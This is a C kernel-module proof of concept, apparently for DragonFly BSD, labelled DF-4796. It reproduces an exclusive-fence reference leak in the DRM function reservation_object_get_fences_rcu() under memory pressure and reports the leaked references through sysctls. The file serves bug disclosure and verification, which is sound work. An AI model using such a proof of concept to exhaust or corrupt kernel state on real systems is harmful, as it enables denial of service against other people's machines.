DF-4796 / df4796.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | /* * DF-4796 PoC โ exclusive-fence reference leak in the GFP_KERNEL * slow-path retry of reservation_object_get_fences_rcu(). * * sys/dev/drm/linux_reservation.c:356-357 takes a reference on * obj->fence_excl at the top of the do-while body: * * fence_excl = rcu_dereference(obj->fence_excl); * if (fence_excl && !dma_fence_get_rcu(fence_excl)) * goto unlock; * * When the krealloc(shared, sz, GFP_NOWAIT) at :365-366 fails and the * GFP_KERNEL retry at :369-370 succeeds, the code does `continue` * (:373) WITHOUT putting that reference โ the next loop iteration * takes a fresh one. One dma_fence reference leaks per * NOWAIT-fail/WAITOK-success event. * * This KLD replicates the call with a reservation object whose * fobj->shared_max is large (sz = 8*shared_max bytes), under memory * pressure created by the caller (see run.sh): the NOWAIT krealloc * fails, the WAITOK krealloc succeeds, and the exclusive fence's * refcount grows by one per event instead of returning to baseline. * * sysctl kern.df4796.run=1 run the loop (kern.df4796_iters times) * sysctl kern.df4796_max fobj->shared_max (entries) โ sz = 8*max */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <linux/slab.h> #include <linux/kref.h> #include <linux/dma-fence.h> #include <linux/reservation.h> static int df4796_run; static int df4796_iters = 64; static int df4796_max = 8388608; /* 8M entries -> 64MB krealloc */ static int df4796_leaks; /* refcount growth observed */ static int df4796_lastcnt; static struct reservation_object obj; static struct dma_fence *fence; static struct lock fence_lock; struct reservation_object_list *fobj; static const char * dfname(struct dma_fence *f __unused) { return ("df4796"); } static const struct dma_fence_ops df4796_ops = { .get_driver_name = dfname, .get_timeline_name = dfname, }; static int df4796_execute(void) { unsigned count = 0; struct dma_fence **shared = NULL; struct dma_fence *excl = NULL; int base, after, ret, i; /* re-size the crafted list for this run (sz = 8 * shared_max) */ fobj->shared_max = df4796_max; base = kref_read(&fence->refcount); for (i = 0; i < df4796_iters; i++) { ret = reservation_object_get_fences_rcu(&obj, &excl, &count, &shared); if (ret) { kprintf("df4796: iter %d ret=%d (alloc failed both " "ways โ no leak event)\n", i, ret); continue; } if (excl) dma_fence_put(excl); if (shared) { while (count--) dma_fence_put(shared[count]); kfree(shared); shared = NULL; } excl = NULL; } after = kref_read(&fence->refcount); df4796_lastcnt = after; df4796_leaks = after - base; kprintf("df4796: base=%d after=%d leaked=%d (%d iterations)\n", base, after, df4796_leaks, df4796_iters); if (df4796_leaks > 0) kprintf("df4796: LEAK CONFIRMED โ %d excl-fence refs leaked " "by the GFP_KERNEL slow-path 'continue'\n", df4796_leaks); else kprintf("df4796: balanced (no NOWAIT failure observed โ " "increase memory pressure / sz)\n"); return 0; } static int df4796_sysctl_run(SYSCTL_HANDLER_ARGS) { int error, v = df4796_run; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v != 0 && df4796_run == 0) df4796_execute(); return (0); } static int df4796_load(struct module *m, int what, void *arg __unused) { switch (what) { case MOD_LOAD: lockinit(&fence_lock, "df4796lk", 0, 0); fence = kzalloc(sizeof(*fence), GFP_KERNEL); dma_fence_init(fence, &df4796_ops, &fence_lock, 0, 1); reservation_object_init(&obj); /* * Craft a live shared-list whose shared_max is huge but * which holds no fences: the loop body allocates * sz = 8*shared_max each iteration, all of the copy loop * iterations are skipped, and the seqcount never moves. */ fobj = kzalloc(offsetof(typeof(*fobj), shared[1]), GFP_KERNEL); fobj->shared_count = 0; fobj->shared_max = df4796_max; RCU_INIT_POINTER(obj.fence, fobj); RCU_INIT_POINTER(obj.fence_excl, fence); kprintf("df4796: loaded (fence refs=%d, sz=%dKB)\n", kref_read(&fence->refcount), df4796_max * 8 / 1024); break; case MOD_UNLOAD: kfree(fence); kfree(fobj); kprintf("df4796: unloaded\n"); break; } return (0); } static moduledata_t df4796_mod = { "df4796", df4796_load, NULL }; DECLARE_MODULE(df4796, df4796_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); SYSCTL_NODE(_kern, OID_AUTO, df4796, CTLFLAG_RW, 0, "DF-4796 PoC"); SYSCTL_PROC(_kern_df4796, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df4796_sysctl_run, "I", "run the leak loop once"); SYSCTL_INT(_kern_df4796, OID_AUTO, iters, CTLFLAG_RW, &df4796_iters, 0, "iterations per run"); SYSCTL_INT(_kern_df4796, OID_AUTO, max, CTLFLAG_RW, &df4796_max, 0, "crafted shared_max (entries; sz = 8*max)"); SYSCTL_INT(_kern_df4796, OID_AUTO, leaks, CTLFLAG_RD, &df4796_leaks, 0, "refs leaked by last run"); SYSCTL_INT(_kern_df4796, OID_AUTO, lastcnt, CTLFLAG_RD, &df4796_lastcnt, 0, "fence refcount after last run"); |